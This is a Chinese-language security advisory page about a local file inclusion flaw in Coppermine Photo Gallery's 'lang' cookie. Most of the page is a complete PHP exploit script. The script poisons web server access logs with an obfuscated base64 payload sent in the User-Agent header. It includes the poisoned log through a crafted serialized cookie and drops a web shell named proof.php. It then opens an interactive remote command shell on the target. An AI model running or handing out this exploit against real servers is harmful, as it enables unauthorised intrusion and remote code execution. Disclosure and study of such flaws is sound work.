Coppermine Photo Gallery ‘lang’ Cookie参数本地文件包含漏洞

漏洞起因
输入验证错误
 
影响系统
Coppermine Photo Gallery 1.4.22
Coppermine Photo Gallery 1.4.21
Coppermine Photo Gallery 1.4.20
Coppermine Photo Gallery 1.4.18
 
不受影响系统
 
危害
远程攻击者可以利用漏洞以WEB权限查看系统文件内容。
 
攻击所需条件
攻击者必须访问Coppermine Photo Gallery。
 
漏洞信息
Coppermine Photo Gallery是一款基于WEB的图库程序。
Coppermine Photo Gallery不正确过滤用户提交的输入,远程攻击者可以利用漏洞以WEB权限查看系统文件内容。
在用于包含文件钱传递给"GLOBALS[USER][lang]"的参数不正确过滤,可导致提交特殊请求以WEB权限查看系统文件内容。
 
测试方法
<?php
/*
 
———————————————————————-
 Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution
Exploit
 
———————————————————————-
 
 author…: EgiX
 mail…..: n0b0d13s[at]gmail[dot]com
 
 link…..: http://coppermine-gallery.net/
 dork…..: "Powered by Coppermine Photo Gallery"
 [-] vulnerable code to LFI in /include/init.inc.php
 
 263. // Start output buffering
 264. ob_start(‘cpg_filter_page_html’);
 265. 
 266. // Parse cookie stored user profile
 267. user_get_profile(); <==== [1]
 268. 
 269. // Authenticate
 270. $cpg_udb->authenticate();
 
 […]
 
 301. // Process language selection if present in URI or in
user profile or try
 302. // autodetection if default charset is utf-8
 303. if (!empty($_GET[‘lang’]))
 304. {
 305.         $USER[‘lang’] = ereg("^[a-z0-9_-]*$",
$_GET[‘lang’]) ? $_GET[‘lang’] : $CONFIG[‘lang’];
 306. }
 307. 
 308. if (isset($USER[‘lang’]) && !strstr($USER[‘lang’], ‘/’)
&& file_exists(‘lang/’ . $USER[‘lang’] . ‘.php’))
 309. {
 310.         $CONFIG[‘default_lang’] = $CONFIG[‘lang’];         
// Save default language
 311.         $CONFIG[‘lang’] = strtr($USER[‘lang’],
‘$/\\:*?"\'<>|`’, ‘____________’);
 312. }
 313. elseif ($CONFIG[‘charset’] == ‘utf-8’) <====== [2]
 314. {
 315.         include(‘include/select_lang.inc.php’);
 316.         if (file_exists(‘lang/’ . $USER[‘lang’] .
‘.php’))
 317.         {
 318.                 $CONFIG[‘default_lang’] =
$CONFIG[‘lang’];      // Save default language
 319.                 $CONFIG[‘lang’] = $USER[‘lang’];
 320.         }
 321. }
 322. else
 323. {
 324.         unset($USER[‘lang’]);
 325. }
 326. 
 327. if (isset($CONFIG[‘default_lang’]) &&
($CONFIG[‘default_lang’]==$CONFIG[‘lang’]))
 328. {
 329.                 unset($CONFIG[‘default_lang’]);
 330. }
 331. 
 332. if (!file_exists("lang/{$CONFIG[‘lang’]}.php"))
 333.   $CONFIG[‘lang’] = ‘english’;
 334. 
 335. // We load the chosen language file
 336. require "lang/{$CONFIG[‘lang’]}.php"; <======== [3]
 if $CONFIG[‘charset’] is set to ‘utf-8’ [2] (this is the default
configuration), an attacker could be able to
 include an arbitrary local file through the require() at line
336 [3], due to $USER array can be manipulate by
 cookies (see user_get_profile() function [1] defined into
/include/functions.inc.php, near lines 128-146)
 
 [-] Path disclosure in /themes/sample/theme.php
 
 [-] Possible bug fix in /include/functions.inc.php
 
 128. function user_get_profile()
 129. {
 130.         global $CONFIG, $USER;
 131.   
 132.  if
(isset($_COOKIE[$CONFIG[‘cookie_name’].’_data’])) {
 133.   $USER =
@unserialize(@base64_decode($_COOKIE[$CONFIG[‘cookie_name’].’_data’]));
 134.   $USER[‘lang’] = ereg("^[a-z0-9_-]*$",
$USER[‘lang’]) ? $USER[‘lang’] : $CONFIG[‘lang’];
 135.         }
 
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying
again…";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
function get_info()
{
 global $host, $path, $cookie, $version, $path_disc;
 
 $packet  = "GET {$path} HTTP/1.0\r\n";
 $packet .= "Host: {$host}\r\n";
 $packet .= "Connection: close\r\n\r\n";
 $html  = http_send($host, $packet);
 
 preg_match("/Set-Cookie: (.*)_data/", $html, $match);
 $cookie = $match[1];
 
 preg_match("/<!–Coppermine Photo Gallery (.*) /", $html,
$match);
 $version = $match[1];
 
 $packet  = "GET {$path}themes/sample/theme.php HTTP/1.0\r\n";
 $packet .= "Host: {$host}\r\n";
 $packet .= "Connection: close\r\n\r\n";
 
 preg_match("/in <b>(.*)themes/", http_send($host, $packet),
$match);
 $path_disc = $match[1];
}
function get_logs()
{
 $logs[] = "/apache/logs/access.log";
 $logs[] = "/apache2/logs/access.log";
 $logs[] = "/apache/log/access.log";
 $logs[] = "/apache2/log/access.log";
 $logs[] = "/logs/access.log";
 $logs[] = "/var/log/apache/access.log";
 $logs[] = "/var/log/apache2/access.log";
 $logs[] = "/var/log/access.log";
 $logs[] = "/var/www/logs/access.log";
 $logs[] = "/var/www/log/access.log";
 $logs[] = "/var/log/httpd/access.log";
 $logs[] = "/etc/httpd/logs/access.log";
 $logs[] = "/usr/local/apache/logs/access.log";
 $logs[] = "/usr/local/apache2/logs/access.log";
 
 for ($i = 0, $climb = "../.."; $i < 7; $i++)
 {
  foreach ($logs as $_log) $array[] = $climb.$_log;
  $climb .= "/..";
 }
 
 return $array;
}
function first_time()
{
 global $host, $path;
 
 $packet  = "GET {$path}proof.php HTTP/1.0\r\n";
 $packet .= "Host: {$host}\r\n";
 $packet .= "Connection: close\r\n\r\n";
 return (!preg_match("/_code_/", http_send($host, $packet)));
}
function lfi()
{
 global $host, $path, $cookie;
 
 $logs = get_logs();
 foreach ($logs as $_log)
 {
  print "[-] Trying to include {$_log}\n";
  
  $data = base64_encode(serialize(array("ID" =>
md5(time()), "am" => 1, "lang" => $_log.chr(0))));
  
  $packet  = "GET {$path} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Cookie: {$cookie}_data={$data}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $resp  = http_send($host, $packet);
  
  if (!preg_match("/f=fopen/", $resp) &&
preg_match("/_LfI_/", $resp)) return true;
  
  sleep(1);
 }
 
 return false;
}
print
"\n+————————————————————————-+";
print "\n| Coppermine Photo Gallery <= 1.4.18 LFI / Code Execution
Exploit by EgiX |";
print
"\n+————————————————————————-+\n";
if ($argc < 3)
{
 print "\nUsage…: php $argv[0] host path\n";
 print "\nhost….: target server (ip/hostname)";
 print "\npath….: path to cpg directory\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
get_info();
print "\n[-] Version……….: {$version}";
print "\n[-] Cookie name……: {$cookie}";
print "\n[-] Path disclosure..: {$path_disc}\n\n";
if (first_time())
{
 $code = base64_decode(
 
"PD9waHA7JGY9Zm9wZW4oY2hyKDExMikuY2hyKDExNCkuY2hyKDExMSkuY2hyKDExMSkuY2hyKDEwMikuY2hyKDQ2KS5jaHIoM"
.
 
"TEyKS5jaHIoMTA0KS5jaHIoMTEyKSxjaHIoMTE5KSk7ZndyaXRlKCRmLGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMT"
.
 
"A0KS5jaHIoMTEyKS5jaHIoMzIpLmNocigxMDEpLmNocig5OSkuY2hyKDEwNCkuY2hyKDExMSkuY2hyKDMyKS5jaHIoMzkpLmN"
.
 
"ocig5NSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoOTUpLmNocigzOSkuY2hyKDU5KS5jaHIoMzIp"
.
 
"LmNocigxMTIpLmNocig5NykuY2hyKDExNSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDEwNCkuY2hyKDExNCkuY2hyKDExNykuY"
.
 
"2hyKDQwKS5jaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDEwMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuY2hyKDEwMC"
.
 
"kuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoNDApLmNocigzNikuY2hyKDk1KS5jaHI"
.
 
"oODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY2hyKDgyKS5jaHIoOTEpLmNocigzOSkuY2hyKDcyKS5jaHIo"
.
 
"ODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig2NykuY2hyKDc3KS5jaHIoNjgpLmNocigzOSkuY2hyKDkzKS5jaHIoN"
.
 
"DEpLmNocig0MSkuY2hyKDU5KS5jaHIoMzIpLmNocig2MykuY2hyKDYyKSk7ZmNsb3NlKCRmKTtkaWUoX0xmSV8pOz8+");
  
 $packet  = "GET {$path}{$code} HTTP/1.0\r\n";
 $packet .= "Host: {$host}\r\n";
 $packet .= "User-Agent: {$code}\r\n";
 $packet .= "Connection: close\r\n\r\n";
 http_send($host, $packet);
 if (!lfi()) die("\n[-] Exploit failed…\n");
}
while(1)
{
 print "\ncoppermine-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}proof.php HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  list($header, $payload) = explode("_code_",
http_send($host, $packet));
  preg_match("/200 OK/", $header) ? print "\n{$payload}" :
die("\n[-] Exploit failed…\n");
 }
 else break;
}
?>
 
厂商解决方案
目前没有解决方案提供:
http://www.chezgreg.net/coppermine/
 
漏洞提供者
EgiX <n0b0d13s@gmail.com>

发表评论?

0 条评论。

发表评论